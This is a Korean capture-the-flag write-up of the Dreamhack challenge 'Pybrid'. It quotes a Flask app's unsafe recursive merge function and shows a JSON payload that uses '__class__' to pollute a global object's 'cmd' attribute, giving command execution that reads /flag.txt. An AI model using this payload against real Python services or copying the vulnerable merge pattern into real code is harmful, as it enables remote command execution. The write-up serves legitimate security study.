[Dreamhack] Pybrid
문제 설명
-
조직을 관리하기 위한 간단한 서비스입니다.
서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요!
플래그 형식은 DH{…} 입니다.
✏️ 풀이
문제에 접속해보면 멤버에는 admin이 존재하고 위의 ADD MEMEBER를 통해 멤버를 추가할 수 있다.
principal 클래스를 살펴보면 command 함수에서 cmd 속성이 있다면 그대로 command 변수에 담아주고, 아니면 echo Permission Denied
를 command에 저장한다.
class Principal(Teacher):
def __init__(self, name):
super().__init__(name)
self.role = "principal"
def command(self):
command = self.cmd if hasattr(self, 'cmd') else 'echo Permission Denied'
return f'{popen(command).read().strip()}'
/execute 경로에서는 principal의 command를 실행할 수 있는 것 같다.
@app.route('/execute', methods=['GET'])
def execute():
return jsonify({"result": principal.command()})
/add_member 에서는 member 추가 가능이 있고, /members 에서는 멤버들의 이름과 role들을 json 형식으로 확인할 수 있다.
@app.route('/add_member', methods=['GET', 'POST'])
def add_member():
if request.method == 'POST':
if request.is_json:
data = request.get_json()
else:
data = request.form
name = data.get("name")
role = data.get("role")
if role == "teacher":
new_member = Teacher(name)
elif role == "student":
new_member = Student(name)
elif role == "substitute_teacher":
new_member = SubstituteTeacher(name)
elif role == "principal":
new_member = Principal(name)
merge(data, new_member)
else:
return jsonify({"message": "Invalid role"}), 400
members.append({"name": new_member.name, "role": new_member.role})
return redirect(url_for('index'))
return render_template('add_member.html')
@app.route('/members', methods=['GET'])
def get_members():
return jsonify({"members": members})
일단 /add_member 경로에서 select로 principal을 선택할 수 없기 때문에 아래처럼 student role을 만드는 패킷을 잡고, role을 principal로 변경해보자.
아래처럼 test1의 이름으로 principal role 계정을 만들었다. 하지만 cmd 속성이 없기 때문에 /execute에 접속해봐도 Permission Denied가 뜨는 것을 볼 수 있다.
소스코드를 다시 보면 /add_member에서 principal 계정만 추가할 때 merge 함수를 통해서 principal 객체에 속성을 동적으로 추가하는 것을 알 수 있다. 하지만 일반적으로 cmd 속성을 추가하여 만들면 new_member에 추가되기 때문에 전역 principal 객체 속성에 추가를 해주어야 한다.
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/add_member', methods=['GET', 'POST'])
def add_member():
if request.method == 'POST':
if request.is_json:
data = request.get_json()
else:
data = request.form
name = data.get("name")
role = data.get("role")
if role == "teacher":
new_member = Teacher(name)
elif role == "student":
new_member = Student(name)
elif role == "substitute_teacher":
new_member = SubstituteTeacher(name)
elif role == "principal":
new_member = Principal(name)
merge(data, new_member)
else:
return jsonify({"message": "Invalid role"}), 400
members.append({"name": new_member.name, "role": new_member.role})
return redirect(url_for('index'))
return render_template('add_member.html')
따라서 merge 함수에 의해 principal 전역 객체에 속성을 추가하기 위해서는 __class__
를 이용해 접근할 수 있다. 아래와 같이 요청하면 merge 함수에 의해 principal 전역 객체에 속성이 추가될 수 있다.
{
"name": "principal",
"role": "principal",
"__class__": {
"cmd": "id"
}
}
아래와 같이 요청하고 /execute 경로에 접근하면 ls 명령어가 잘 입력되어 출력되는 것을 확인할 수 있다.
이제 cmd 명령에서 cat /flag.txt로 바꿔주면 flag를 획득할 수 있다.
댓글남기기